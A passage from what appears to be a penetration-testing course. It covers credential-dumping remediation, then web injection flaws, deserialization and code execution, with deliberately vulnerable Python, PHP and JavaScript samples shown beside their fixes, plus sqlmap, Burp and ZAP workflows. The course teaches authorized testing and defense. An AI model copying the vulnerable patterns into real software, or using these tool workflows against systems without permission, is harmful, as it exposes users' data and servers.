  • Root cause: LSA protection is off, the account is over-privileged, and the same service account is reused across servers.
  • Remediation: turn on LSA protection after running audit mode, remove the account from local administrator groups, give each server a unique local administrator password, forward logs to the SIEM, and alert on LSASS access. Retest by checking the same settings and re-running the approved test.

Detection is a finding too. If the client's tools caught every action, write it as a positive result with the time it took to alert. If they caught nothing, say which log or sensor should have, and how long the testing went unnoticed.

Common misconceptions

  • Belief: credential dumping needs password cracking. Reality: it reads stored material, and cracking is a separate step that is sometimes unnecessary.
  • Belief: a process with a Microsoft name is safe. Reality: injection and hollowing borrow trusted names, so judge behavior.
  • Belief: antivirus that does not alert means nothing happened. Reality: a sensor can be stopped or blinded, and obfuscation targets signature matching.
  • Belief: clearing a log leaves no trace. Reality: clearing creates its own event, and forwarded copies remain.
  • Belief: PsExec and Evil-WinRM are malware. Reality: both are legitimate remote tools whose abuse is judged by who uses them and from where.
  • Belief: a tester should clear logs to test the client. Reality: logs belong to the client, and testers leave them intact unless the contract says otherwise.

The takeaway

The core of it: each technique here exploits something that must exist for the system to work, such as secrets in memory, processes that cooperate, a sensor on the same host, and logs written locally. The defense is to protect that thing and to keep a second, independent record. Seven claims to carry away:

  1. LSASS holds credential material in memory after sign-in, and reading it needs administrator or SYSTEM rights.[1]
  2. LSA protection blocks unprotected processes from reading LSASS or injecting into it, and is on by default in Windows 11.[5]
  3. Mimikatz works on stored material, Rubeus on Kerberos tickets and Certify on AD CS certificates.[1][6]
  4. Process injection runs code inside another process, and process hollowing swaps a trusted program's contents so the name looks legitimate.[2]
  5. A security agent that stops reporting is an alert in itself, and tamper protection and check-in monitoring are the fixes.[3]
  6. Obfuscation defeats signature matching, so defenders inspect at execution with AMSI and behavior detection.[4]
  7. Forwarding logs to a SIEM makes local log clearing both visible and survivable, and testers do not clear client logs without written authorization.

Sources

  1. MITRE. (2026). OS credential dumping: LSASS memory (T1003.001). MITRE ATT&CK Enterprise. attack.mitre.org
  2. MITRE. (2026). Process injection (T1055), including sub-techniques T1055.001 and T1055.012. MITRE ATT&CK Enterprise. attack.mitre.org
  3. MITRE. (2026). Disable or modify tools (T1685), which now contains the former log-clearing technique T1070.001 as T1685.005. MITRE ATT&CK Enterprise. attack.mitre.org
  4. MITRE. (2026). Obfuscated files or information (T1027). MITRE ATT&CK Enterprise. attack.mitre.org
  5. Microsoft. (n.d.). Configure added LSA protection. Microsoft Learn. learn.microsoft.com
  6. GhostPack. (n.d.). Rubeus and Certify, README files. GitHub. Rubeus; Certify
  7. Russinovich, M. (2023, April 11). PsExec (v2.43). Microsoft Learn, Sysinternals. learn.microsoft.com
  8. Hackplayers. (n.d.). Evil-WinRM, README. GitHub. github.com
Key terms
Credential dumping
Copying stored login secrets such as hashes, tickets or keys from a computer so they can be reused; on Windows the main target is the memory of the LSASS process, and reading it needs administrator or SYSTEM rights.
Local Security Authority Subsystem Service (LSASS)
The Windows process named lsass.exe that checks sign-ins and keeps credential material in its memory while users are signed in, which is why it is protected and watched.
Process injection
Running code inside the memory of a different, already running program, so the code borrows that program's name, rights and network access.
Process hollowing
A form of process injection in which a legitimate program's contents are replaced with other code, so the process keeps a trusted name while running something else.
Library injection
Making a running program load a dynamic-link library (DLL) it did not choose, so the library's code runs as part of that program.
Circumventing security tools
Making a host's defenses see or do less, for example by stopping a security service, changing its configuration or cutting off the signals it relies on; a missed check-in from an agent is the usual sign.
Payload obfuscation
Hiding the content of an attack payload by encrypting, encoding, compressing or splitting it, which defeats signature matching but not behavior-based detection.
Log tampering
Deleting, changing or disabling the records a system keeps; forwarding logs to a separate collector makes it visible and survivable.
Security information and event management (SIEM)
A system that collects logs from many hosts into one searchable store that a local administrator cannot edit, used to correlate events and raise alerts.
Evil-WinRM
A shell built for penetration testers that works over Windows Remote Management, usually on port 5985, and needs valid credentials and permission to use the service.

Where Input Becomes Code: Injection, Deserialization, and Code Execution

  • Trace input from where it enters to the interpreter that reads it, and explain why SQL injection, command injection, XSS, server-side template injection and deserialization are one mistake in five settings.
  • Read vulnerable and fixed code side by side, and name the control that separates code from data in each case.
  • Choose among Burp Suite, ZAP and sqlmap for a given task, and read their output as evidence.
  • Recognize what defenders see for each flaw, and report it with root cause, severity and remediation.

One apostrophe in a surname

Two customers of Larkspur Books, a fictional online shop, search for their orders on the same morning. Okafor gets her list. O'Brien gets an error page. Nothing is wrong with her account. The apostrophe in her name reached the database as part of the instructions, and the database could not parse them.

Shape the input on purpose and the same mistake becomes a breach. According to a joint CISA and FBI advisory, from 27 May 2023 the CL0P ransomware gang exploited a SQL injection flaw in Progress Software's MOVEit Transfer (CVE-2023-34362). The gang installed a web shell named LEMURLOOT and stole data from the databases behind it. A 2024 alert from the same agencies, responding to SQL injection in a managed file transfer application, put the impact at thousands of organizations.

This lesson runs one procedure against five interpreters. Lesson 18 covers the rest of objective 4.5.

Exam objectives: 4.5: injection attacks (SQL injection, command injection, cross-site scripting, server-side template injection), deserialization attacks and arbitrary code execution; tools sqlmap, Burp Suite and Zed Attack Proxy (ZAP).

Before you run anything

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Even with permission, a test that changes a query can change data, so the rules of engagement (ROE) should settle four things first:

  • which environment
  • which test accounts
  • whether any test may write data
  • who answers the phone if something breaks

This course shows no attack strings and sends none. The inputs here are ordinary things such as a surname and a file name, and attack tools are taught by what they need and what they print.

The procedure: five questions for every input

  1. Where does input enter? List every value the application accepts: query strings, form and JSON bodies, path segments, headers, cookies, uploaded file names and values it stored earlier. The Web Security Testing Guide (WSTG) calls this identifying entry points (WSTG-INFO-06).
  2. Which interpreter reads it next? Follow the value to whatever parses it as a language.
  3. Are instructions kept apart from data? Read the code, or compare a control with an honest value containing the interpreter's special characters.
  4. What is the lightest proof the ROE allow? Prove the class of flaw and stop.
  5. What keeps data apart, and does a retest show it? Recommend the control, then confirm that honest input now works.
InterpreterWhat it reads as instructionsThe dangerous call
SQL engineQuotes, semicolons, comment markers, keywordsQuery text built by concatenation
Operating system shellAmpersands, semicolons, pipes, spaces, dollar signsos.system in Python; shell_exec in PHP (PHP: Hypertext Preprocessor)
Visitor's browserAngle brackets and quotes; anything in a script contextHTML built by concatenation; innerHTML
Template engineThe engine's delimiters, such as paired curly bracesrender_template_string with input pasted in
Object loaderClass names and object structure inside the datapickle.loads; PHP's unserialize; Java's readObject

Key idea: this is one mistake in five settings. A program lets input become part of an interpreter's instructions; every real fix keeps the instructions fixed and hands the input over as data. OWASP's Top 10:2025 says under A05 Injection, "The concept is identical among all interpreters." Deserialization sits under A08 Software or Data Integrity Failures. LDAP injection and prompt injection (Lesson 22) share the pattern.

Burp Suite and Zed Attack Proxy: where step 1 happens

Burp Suite and Zed Attack Proxy are intercepting proxies: every request and response between your browser and the application lands in a history you can search. Both default to port 8080 on loopback, so run one at a time. Use the browser each tool launches, because modern browsers skip a configured proxy for loopback addresses unless told otherwise.

Try this in your lab. Start Juice Shop as in Lesson 2, then ZAP with zaproxy. Set the mode to Safe, choose Manual Explore, enter 127.0.0.1:3000 and launch the browser. (In Burp: Proxy > Intercept > Open browser.) Scroll the products, open one, and try the login form once with a made-up address such as learner@example.com. Leave the spider, Active Scan and fuzzer alone. Burp's HTTP history would show rows like these (sample, trimmed); ZAP's History tab is similar.

#   Method  URL                                    Params  Status  Length
14  GET     /rest/admin/application-configuration          200     20891
15  GET     /rest/languages                                200     5102
16  GET     /rest/products/search?q=               yes     200     14530
17  GET     /rest/products/24/reviews                      200     512
18  POST    /rest/user/login                       yes     401     331

Read that as an inventory of inputs: a query parameter in row 16, a JSON body in row 18, and in row 17 a value in the path that a Params flag does not mark. Cookies and headers count as well.

TaskBurp Suite Community EditionBurp Suite ProfessionalZAP
CostFree; Kali packages it as burpsuitePaid licenceFree, open source (Apache 2.0)
Record and resendHTTP history; Repeater; Decoder; SequencerThe sameHistory tab, Sites tree; Manual Request Editor
Send many variationsIntruder, demo onlyIntruder, full versionFuzzer
Automated scanningNoneBurp ScannerPassive scanning of all traffic; Active Scan on request

Repeater suits one request changed a little at a time. A scanner suits breadth, and every alert still has to be validated. ZAP's passive scanning only reads traffic, but as its documentation says, "Active scanning is an attack on those targets." Its modes set the guard rail: Safe permits no potentially dangerous operations, Protected limits them to in-scope URLs, Standard restricts nothing, and ATTACK actively scans new in-scope pages as they appear. A sample alert follows; its confidence rating is only the tool's estimate.

SQL Injection   Risk: High   Confidence: Medium
Parameter: surname   Attack: [removed]
Evidence: [database error text]   CWE ID: 89

The exam's Zed Attack Proxy now goes by ZAP by Checkmarx, which hired its three project leaders in 2024; it stays open source, and older books call it OWASP ZAP. Defenders cannot see a proxy, but automation stands out: thousands of requests from one address, many of them errors.

Run 1: SQL injection in the order search

SQL injection (SQLi) happens when input reaches a Structured Query Language (SQL) query as part of its text. It is CWE-89, second on the 2025 CWE Top 25. Here is the whole procedure on Larkspur's staging site, under a signed scope.

Steps 1 to 3. The history shows one parameter, surname, which almost certainly reaches a database query. So send a control, then an honest value containing SQL's special character. WSTG-INPV-05 says the first test is usually a single quote, which SQL uses to end a string; %27 is the apostrophe URL-encoded.

#   Request                               Status  Length  Body shows
41  GET /orders/search?surname=Okafor     200     412     her two orders
42  GET /orders/search?surname=O%27Brien  500     1893    OperationalError: near "Brien": syntax error

The client's source shows why:

# Vulnerable: the input is pasted into the query's text
def find_orders(conn, surname):
    sql = "SELECT id, title FROM orders WHERE surname = '" + surname + "'"
    return conn.execute(sql).fetchall()

When this lesson was written, that function, run with Python's sqlite3 module, raised exactly that error; other databases word it differently. The apostrophe closed the string early, so the database tried to read Brien as SQL. Input carrying quote marks and SQL keywords can go further: change which rows come back, add rows from other tables and, where the database and account allow it, write data or reach the operating system.

How much the application tells you decides which family of technique applies.

FamilyWhat the tester can observe
In-band, error-basedDatabase errors in the page, as in row 42
In-band, UNION-basedRows from a second query appear beside the page's own results
Blind, Boolean-basedA page that differs when a condition is true or false
Blind, time-basedA condition makes the database wait, so response times are the evidence
Out-of-bandThe database contacts a host the tester controls, which logs it
Stacked queriesA second statement is accepted, which can change data, so it needs explicit ROE approval
Second-orderInput stored safely is pasted into a query later, so the failure shows up elsewhere, such as a nightly report

Step 4. With writes forbidden, the proof is a read-only comparison on test data. Record the pair and stop; customer rows in your notes are a liability. Step 5. Bind the value instead of pasting it:

# Fixed: the query's text never changes, and the value travels separately
sql = "SELECT id, title FROM orders WHERE surname = ?"
return conn.execute(sql, (surname,)).fetchall()

This parameterized query is the first defense in OWASP's cheat sheet: the database fixes the query's structure before any value arrives, so the apostrophe is only a character in a name. Markers stand for data values only, so map a sort column to a short fixed list in code. A stored procedure or object-relational mapper that builds SQL from text is still injectable. Least privilege limits damage without preventing anything, and OWASP strongly discourages hand escaping.

A web application firewall (WAF) rule can block known patterns while the flaw stays behind it.

Run 2: the same two requests after two different fixes

Change one thing, the code, and send the same two requests. One developer binds the value. Another does this:

# Build A: removes apostrophes, then still concatenates
cleaned = surname.replace("'", "")
sql = "SELECT id, title FROM orders WHERE surname = '" + cleaned + "'"

When this lesson was written, the three versions gave these results on a small test table:

BuildOkaforO'BrienVerdict
OriginalHer ordersSyntax errorFlaw visible
Build A: filterHer ordersNo error, no rowsError hidden, flaw still there
Build B: parameterizedHer ordersHer orderFixed

A retest asking "did the error stop?" passes Build A. A retest asking "did O'Brien find her order?" fails it, and that failure is your clue. The query is still built from text, and a numeric parameter needs no quote at all.

The flip runs the other way too. A validator or a WAF's block page also produces errors, so read the body: a database parser error is evidence, and a generic 403 says only that something disliked the character (Lesson 12).

Key idea: retest by behavior. A correct fix makes the honest input work; stopping the error is not enough.

sqlmap: confirming a lead at scale

sqlmap is an open source tool that automates detecting and exploiting SQL injection. You give it a URL or a saved request, plus any session cookie, and it works through the parameters. Its manual lists six SQL injection types (the families above plus inline queries) and now other classes such as NoSQL. It is an attack tool, so this course never runs it; learn when to choose it and how to read its output.

sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
---
Parameter: surname (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: [removed]

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: [removed]
---
back-end DBMS: PostgreSQL

That sample is fictional. It names the parameter and how it travels, each technique that worked, and the database product. The Payload lines, removed here, hold the strings it sent.

Two settings matter to the ROE. Level (1-5) decides how many tests run and which parts of the request they touch, with cookies from level 2. Risk (1-3) decides how dangerous they may be. The default is innocuous for most injection points, but value 3 adds OR-based tests. These can update every row of a table if the injection point sits in an UPDATE statement.

Choose sqlmap after a manual lead, when blind extraction would take thousands of requests by hand, and Repeater when the application has rate limits, one-time tokens or a fragile workflow. Its default traffic names itself (sample log line):

203.0.113.50 - - [03/Nov/2026:14:02:11 +0000] "GET /orders/search?surname=[value removed] HTTP/1.1" 500 1893 "-" "sqlmap/1.x.x.x#dev (https://sqlmap.org)"

Run 3: command injection, where a shell reads the input

Larkspur fingerprints each catalog that publishers upload. A file named R&D titles.pdf returns an error. The file name goes to an operating system command:

# Vulnerable: a shell parses the whole string
os.system("sha256sum " + filename)

When this lesson was written, that command line, run through a POSIX shell, printed:

sha256sum: R: No such file or directory
sh: line 1: D: command not found

To a shell, an ampersand ends one command and starts the next, so it tried to run a program called D. The input chose which program ran, and nothing harmful happened only because no such program exists. That is command injection, CWE-78, ninth on the 2025 Top 25. A July 2024 CISA and FBI alert cites campaigns exploiting it in network edge devices (CVE-2024-20399, CVE-2024-3400, CVE-2024-21887).

Look wherever a feature wraps a system tool: ping in admin panels, file conversion, image resizing, backups. When output never reaches the page, testers rely on a time delay or an out-of-band callback, as with blind SQL injection. OWASP separates this from code injection, which adds code in the application's own language.

Prefer a library, so no shell is involved. If a program must run, pass its arguments as a list, so nothing parses the ampersand.

# Fixed: no shell, no external program
with open(path, "rb") as f:
    digest = hashlib.file_digest(f, "sha256").hexdigest()

# Also safe from the shell: the arguments stay separate
subprocess.run(["sha256sum", "--", filename], check=True)

Both handled that name correctly when tested. The two dashes end the program's options, because a value starting with a dash could otherwise be read as one, which is argument injection. Add allow-list validation and least privilege; a denylist of punctuation is easy to get wrong.

Defenders watch process lineage: endpoint detection and response tools flag a web server such as apache2 or w3wp.exe starting a shell.

Run 4: cross-site scripting, where the visitor's browser reads the input

A customer reviews a novel and writes Better than <Dune>, in my view. The page shows "Better than , in my view." The trouble is in what the server sent:

# Vulnerable: stored text is pasted into HTML
return "<p>" + review + "</p>"

# Fixed: the text is encoded for the HTML context
return "<p>" + html.escape(review) + "</p>"

The fixed line sends the brackets as &lt; and &gt;, which display as the customer typed them. An HTML page is a program the visitor's browser runs, and the unencoded version let the customer's text become part of it. A word in angle brackets is harmless, but markup can also carry script. Script from the site's own page runs with that site's privileges. It can read what the page can read and act as the visitor. That is cross-site scripting (XSS), CWE-79, first on the 2025 Top 25; CSS already meant Cascading Style Sheets.

VariantHow the input reaches the browserDoes the server see it?
ReflectedIn a request, usually a crafted link, and echoed in that responseYes, in the request
StoredSaved and served to every later visitor, administrators includedYes, in the saved data
DOM-basedClient-side script moves it from a source to a sinkOften not: the part of a URL after the # is never sent

Test harmlessly first: send a unique plain word, find every place it comes back, and note what surrounds it. That context sets the encoding, because an HTML body, an HTML attribute, JavaScript, CSS and a URL all parse differently. PHP's htmlspecialchars and Python's html.escape suit the HTML contexts, and OWASP says not to put untrusted data directly into CSS source.

Try this in your lab. Search Juice Shop for a plain word such as lantern, then look for it in your proxy's history. You should not find it. At the time of writing, Juice Shop's source loads the products once with an empty q and filters them in the browser, while your word sits in the address bar after the #. That is a DOM source: the value never crosses the wire, so server logs cannot show it.

// Vulnerable: the URL fragment becomes markup
note.innerHTML = decodeURIComponent(location.hash.slice(1));

// Fixed: the same value becomes text
note.textContent = decodeURIComponent(location.hash.slice(1));

Frameworks escape what they render until a developer uses an escape hatch such as React's dangerouslySetInnerHTML. If a feature must accept HTML, use a sanitizer such as DOMPurify. Two headers, Content Security Policy (CSP) and a locked-down cookie, limit the damage when encoding misses a spot, as backup only:

Content-Security-Policy: default-src 'self'; frame-ancestors 'self'; form-action 'self';
Set-Cookie: session=[value removed]; Secure; HttpOnly; SameSite=Lax

As evidence, a raw request and response plus a screenshot of a harmless marker agreed in the ROE is enough, and never another user's session.

Run 5: server-side template injection, where the template engine reads the input

Same feature, different interpreter. Many sites render pages from templates, fixed text with marked places for values, using engines such as Jinja2 or Twig. Suppose a developer glues the review into the template itself:

# Vulnerable: the review becomes part of the template's source
return render_template_string("<p>" + review + "</p>")

# Fixed: the template is a fixed file, and the review is a value passed to it
return render_template("review.html", review=review)

A review of a programming book mentions the two opening curly braces Jinja2 uses. When this lesson was written, such a review raised this error on the vulnerable line (Flask 3.1, Jinja2 3.1), and the fixed line printed it as plain text:

jinja2.exceptions.TemplateSyntaxError: expected token 'end of print statement', got 'well'

The engine read the customer's sentence as template code. That is server-side template injection (SSTI), CWE-1336. The standard detection (WSTG-INPV-18) submits a harmless arithmetic expression wrapped in the engine's delimiters. If the response shows the answer instead of what you typed, the server evaluated it. Then identify the engine, because each has its own syntax.

PortSwigger warns that SSTI is often mistaken for plain XSS, so decide by where the evaluation happened. If the answer is already in the raw response in your proxy, the server worked it out; XSS markup comes back unevaluated. It matters because template languages can usually reach the application's objects, so evaluation can grow into code execution on the server.

Autoescaping does not help: Flask enables it for render_template_string, but it applies to values passed in, not to text pasted into the source. If users must write templates, use a logic-less engine such as Mustache; sandboxes are prone to bypasses.

Run 6: deserialization, where the object loader reads the input

Serialization turns a live object into bytes to store or send, and deserialization rebuilds it. Larkspur keeps carts in a cookie:

Cookie: cart=gAWVFgAAAAAAAAB9lCiMA3NrdZRNEgSMA3F0eZRLAnUu

Here steps 1 and 2 mean recognizing the format. Base64 is encoding, not encryption, so Burp's Decoder shows the bytes at once: they begin 80 05, a Python pickle. Python's pickletools can list one without running it; pickle.loads would run it.

PlatformWhat it looks like in traffic
Java native serializationHex AC ED 00 05; Base64 beginning rO0; type application/x-java-serialized-object
Python pickleBase64 beginning gASV (protocol 4) or gAWV (protocol 5)
PHP serialize()Readable text such as a:2:{s:3:"sku";i:1042;s:3:"qty";i:2;}, with O: marking an object

Why worry about a harmless cart? A JSON parser can only build plain data. A native deserializer rebuilds whatever classes the data names, and rebuilding can run code. Python's documentation warns that malicious pickle data can execute arbitrary code during unpickling. PHP's unserialize automatically calls an object's __wakeup method, and its manual says not to pass it untrusted input. An attacker need not bring new code: classes already in the application's libraries, called gadgets, can be strung into a gadget chain so that rebuilding the object does the attacker's work.

# Vulnerable: the cookie decides what objects get built
cart = pickle.loads(base64.b64decode(request.cookies["cart"]))

# Fixed: check a signature, then use a format that builds only plain data
raw, sig = request.cookies["cart"].rsplit(".", 1)
if not hmac.compare_digest(sign(raw), sig):
    abort(400)
cart = json.loads(base64.urlsafe_b64decode(raw))

sign computes a hash-based message authentication code (HMAC) with a key only the server holds. In PHP the same move is json_decode. In Java, a serialization filter allow-lists classes. In .NET, drop BinaryFormatter (Base64 beginning AAEAAAD/////), which Microsoft says is dangerous and cannot be secured.

The US National Vulnerability Database records CVE-2025-53770 as deserialization of untrusted data in on-premises Microsoft SharePoint Server. It lets an unauthorized attacker execute code over a network, and it is scored 9.8. CISA listed it as exploited on 20 July 2025. This course builds no gadget chains; on a job, code review showing client data reaching a native loader is often enough to report. ZAP's passive Java Serialization Object rule looks for the Java prefix.

Arbitrary code execution: the outcome at the end of the chain

Arbitrary code execution means an attacker's chosen instructions run on the target; triggered over a network, it is called remote code execution (RCE). It is an outcome, not a technique, so a report's root cause names the flaw that led there. SSTI and deserialization can arrive here directly, command injection starts here, and SQL injection arrives when the database and account allow it, as sqlmap's manual notes for stacked queries and MOVEit's web shell showed. XSS runs script in a visitor's browser, not code on the server.

The most direct route is code injection, CWE-94, tenth on the 2025 Top 25, where the application hands input to its own language:

# Vulnerable: the input is Python source
total = eval(request.args["expr"])

# Fixed: the input is only ever numbers
total = Decimal(request.args["price"]) * int(request.args["qty"])

The interpreter can hide where nobody looks. In Log4Shell (CVE-2021-44228, December 2021), an attacker who controlled a logged string could make Apache Log4j2 load and run code from a remote server.

Prove it with the least invasive evidence the ROE allow, such as the name of the account the process runs under. Install nothing, go nowhere else, and call the escalation contact the same day (Lesson 27). Process injection (Lesson 16) is something else: it moves code between local processes. ATT&CK files the break-in under T1190, Exploit Public-Facing Application.

The whole family at a glance

TechniqueWeakness it relies onToolsWhat defenders seeFix
SQL injection (CWE-89)Query text built from inputBurp Suite, ZAP, sqlmapDatabase errors; SQL keywords in parameters; WAF alerts; slow responses; DNS from the databaseParameterized queries; allow-list for identifiers
Command injection (CWE-78)A shell parses a string built from inputBurp Suite, ZAPWeb process starting a shell; outbound traffic from the web tierLibrary call; argument list with no shell; allow-list validation
Cross-site scripting (CWE-79)Output not encoded for its contextBurp Suite, ZAP, browser toolsMarkup in stored fields; CSP reports; WAF alerts; for DOM-based, perhaps nothingContext-aware encoding; textContent; CSP and HttpOnly as backup
Server-side template injection (CWE-1336)Input pasted into template sourceBurp Suite, ZAPTemplate errors in logs; delimiters in parameters; web process starting programsFixed templates, values passed as data; logic-less engine
Deserialization (CWE-502)A native object loader reads client dataBurp Decoder, ZAP's passive ruleDeserialization errors in logs; known Base64 prefixesJSON with a checked signature; class allow-list
Arbitrary code execution (CWE-94 when direct)Any route here, or eval on inputBurp Suite, ZAPProcess lineage; new web files; outbound connectionsFix the route; least privilege; restrict outbound traffic

A worked performance-based question: five rows of evidence

A simulation question hands you evidence and asks for decisions, and CompTIA says partial credit may be given. Every input here is harmless and within the ROE of a fictional staging test. For each row, name the flaw and the next step.

RowFeature and inputWhat came back
ADiagnostics page; a label containing an ampersandThis line in the page: sh: 1: B: not found
BReview form; a word in angle bracketsThe word is missing for later visitors, and the source shows raw angle brackets
CGift message preview; a small sum inside the engine's delimitersThe raw response shows the sum's answer, not what was typed
DNo input sent; the prefs cookie, decoded from Base64Bytes begin AC ED 00 05
EReport filter; O'Brien, who exists in the tableHTTP 200, no rows, no error

Ask which interpreter could have produced each result.

RowFlawThe reasoningNext step
ACommand injectionOnly a shell treats what follows an ampersand as a program to run, and this is that attempt failingStop; save the pair; call the escalation contact
BStored XSSSaved and served to others, and raw brackets show no encodingNote the context; repeat with an agreed harmless marker
CSSTIThe answer is already in the raw response, so the server computed itIdentify the engine; stop; escalate
DPossible deserialization flawThose bytes are Java's native format, but the format alone does not show how the server reads itAsk for the code; report what is shown
ENot provenWrong results for a real customer suggest a filter over concatenation, but that is not yet proofRead the code; or, with approval, a read-only comparison in Repeater

Rows B and C both echo input, and the deciding detail is where the evaluation happened. Row E tempts you both ways: "no error, so it is safe" and "it must be SQL injection" are equally unsupported.

Exam cues: the words in the stem and the pairs people confuse

The stem saysIt points toDo not confuse it with
An apostrophe produces a database errorIn-band, error-based SQL injectionA 403 block page from a WAF
The page differs when a condition is true or falseBoolean-based blind SQL injectionTime-based blind: only the delay differs
Best fix for SQL injectionParameterized queriesEscaping, a WAF rule or least privilege
A sort column reaches the queryAllow-list mappingA parameter marker, which binds values only
A feature wraps ping or a file converterCommand injectionCode injection, in the application's own language
A comment shown to every later visitorStored XSSReflected XSS, which needs a crafted link
The value after # never reaches the serverDOM-based XSSReflected XSS, echoed by the server
A sum's answer appears in the raw responseServer-side template injectionXSS, where the browser does the work
A cookie's Base64 begins rO0Java serialized object: suspect deserializationEncryption, or a JWT, whose Base64 begins eyJ
Resend one request by hand and compareBurp RepeaterIntruder, which sends many variations
Free active scannerZAPBurp Community, which has no scanner

How injection findings are reported

Here is Larkspur's fictional finding from Run 1, as the client would read it.

  • Title: SQL injection in the order search lets any signed-in customer read every customer's orders.
  • Severity: High, CVSS 3.1 base 8.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N). A free customer account is the only precondition. Confidentiality and integrity are High because the database account can read and update the orders table, per the code review. It is not Critical because login is required.
  • Evidence: Proxy history entries 41 and 42, dated, from the test account: the control returned 200, and O'Brien returned 500 with the database parser error. One sqlmap run at default level and risk, 46 requests, retrieved only the database product name. No customer data was retrieved.
  • Root cause: find_orders() builds its query by concatenating the surname parameter (CWE-89; OWASP A05:2025).
  • Remediation: Bind the value with a parameterized query, and check the module for the same pattern. Limit the database account's rights. Retest: O'Brien must find her own order, and the same sqlmap run must find nothing.

As starting judgments that context can change: proven code execution is usually Critical, or High if it needs a login, and escalated the same day. Stored XSS in a page administrators read is often High. Reflected and DOM-based XSS are often Medium, since a victim must follow a link. Deserialization seen in code but not exercised is reported with that limit stated.

Common misconceptions

  • "No error means the injection is fixed." A filter can hide the error. Check that honest input gives the correct result.
  • "A WAF fixes SQL injection." It can block known patterns while the flaw stays in the code.
  • "XSS happens on the server." The server delivers it and the browser runs it. SSTI is the one the server evaluates.
  • "Base64 hides the cookie's contents." Anyone can decode it. Only a checked signature shows the data was not altered.

Looking back

  • All five flaws are one mistake: input becomes part of an interpreter's instructions. The fix hands input over as data.
  • Parameterized queries fix SQL injection and allow-lists handle sort columns; retest by behavior, because a real fix returns O'Brien's order and a filter returns nothing.
  • SQL injection families follow the feedback available: in-band (error-based, UNION-based), blind (Boolean-based, time-based) and out-of-band, plus stacked queries and second-order.
  • Burp Suite and ZAP record and replay traffic; ZAP's free active scanner and Burp's paid one go wide; sqlmap goes deep on one SQL lead.
  • For command injection, prefer a library call, then an argument list with no shell, plus allow-list validation.
  • XSS runs in the browser as reflected, stored or DOM-based; encoding must match the context (HTML, attribute, JavaScript, CSS, URL), and CSP and HttpOnly are backup.
  • SSTI runs on the server: a sum answered in the raw response is the sign, and a fixed template with values passed as data is the fix.
  • Native deserializers rebuild whatever the data names. Java shows AC ED 00 05 or rO0; use JSON with a checked signature.
  • Arbitrary code execution is the outcome, so the root cause names the flaw, and proof stops at the lightest evidence the ROE allow.

Sources

  1. OWASP Foundation. (2020). Web security testing guide (v4.2): WSTG-INFO-06, WSTG-INPV-01, WSTG-INPV-02, WSTG-INPV-05, WSTG-INPV-12, WSTG-INPV-18, WSTG-CLNT-01. wstg.owasp.org
  2. OWASP Foundation. (n.d.). OWASP cheat sheet series (SQL injection prevention; OS command injection defense; XSS prevention; DOM-based XSS prevention; Content Security Policy; deserialization); Top 10:2025; Command injection. cheat sheets; Top 10:2025; owasp.org
  3. MITRE. (2025). 2025 CWE Top 25 most dangerous software weaknesses; CWE entries 94, 502 and 1336; ATT&CK technique T1190. cwe.mitre.org; attack.mitre.org
  4. CISA and FBI. (2023). #StopRansomware: CL0P ransomware gang exploits CVE-2023-34362 MOVEit vulnerability (AA23-158A). cisa.gov; (2024). Secure by design alert: Eliminating SQL injection vulnerabilities in software. cisa.gov; (2024). Secure by design alert: Eliminating OS command injection vulnerabilities. cisa.gov
  5. NIST. (n.d.). National Vulnerability Database: CVE-2025-53770; CVE-2021-44228. nvd.nist.gov
  6. sqlmap project. (n.d.). sqlmap wiki: Usage; Techniques. github.com
  7. PortSwigger. (n.d.). Burp Suite documentation and Web Security Academy. documentation; editions compared; Web Security Academy
  8. ZAP project. (n.d.). ZAP documentation: Getting started; Modes; Proxies; Active scan; Java Serialization Object rule. modes; Bennetts, S. (2024, September 24). ZAP has joined forces with Checkmarx. zaproxy.org
  9. Python Software Foundation. (n.d.). pickle: Python object serialization. docs.python.org; The PHP Group. (n.d.). unserialize. php.net; Pallets. (n.d.). Flask documentation: Templates. flask.palletsprojects.com
Key terms
SQL injection
A flaw in which input reaches a database query as SQL text, so it can change what the query does; abbreviated SQLi and catalogued as CWE-89.
Prepared statement
A query whose text is fixed first, with values bound to it separately, so a value can never change the query's structure; also called a parameterized query.
Command injection
A flaw in which input reaches an operating system shell, so it can decide which programs run; catalogued as CWE-78.
Cross-site scripting
A flaw, abbreviated XSS, in which input reaches a page unencoded and runs as script in a visitor's browser, in reflected, stored or DOM-based form.
Server-side template injection
A flaw, abbreviated SSTI, in which input becomes part of a template's source, so the template engine evaluates it on the server.
Deserialization attack
An attack in which crafted data makes a native object loader rebuild objects of the attacker's choosing, which can run code; catalogued as CWE-502.
Arbitrary code execution
The outcome in which an attacker's chosen instructions run on a target; called remote code execution when triggered over a network.
Burp Suite
PortSwigger's web testing toolkit built around an intercepting proxy, with Repeater, Decoder, Comparer and Sequencer in the free Community Edition and a scanner in the paid Professional edition.
Zed Attack Proxy
A free, open source intercepting proxy and web scanner, also called ZAP, with passive and active scanning and Safe, Protected, Standard and ATTACK modes.
sqlmap
An open source tool that automates detecting and exploiting SQL injection, with level and risk settings that control how many tests run and how dangerous they may be.

Broken Trust in the Web App: Access Control, Sessions, Files, Requests, and APIs

  • For each of IDOR, directory traversal, file inclusion, SSRF, CSRF, session hijacking, brute-force and collision attacks, API abuse and JWT manipulation, name the trust the application extends wrongly and the check that removes it.
  • Recognize each flaw in evidence such as a request log, a decoded token or a short code sample, and say what defenders would see.
  • Choose among Postman, Gobuster/DirBuster, Wfuzz, WPScan and TruffleHog for a task, and read what they report.
  • Write a finding with severity, evidence, root cause and remediation for a broken access control flaw.

One digit in a link

In May 2019 the security journalist Brian Krebs reported that First American Financial, a US title insurer, let anyone view a customer's document if they knew its web link. Change one number in the link and a different customer's document appeared. The numbers looked sequential, and the exposure reached about 885 million files, some dating back more than 16 years.[1]

Nobody broke in. The site never asked whether the person requesting document N was entitled to see it. In 2021 the US Securities and Exchange Commission settled with the company for about $488,000, finding that senior executives had not been told that a January 2019 manual penetration test had already identified the vulnerability.[2]

This lesson finishes exam objective 4.5. Lesson 17 covered injection, deserialization and code execution, where input becomes instructions. The flaws here share a different mistake: the application trusts something it should have checked.

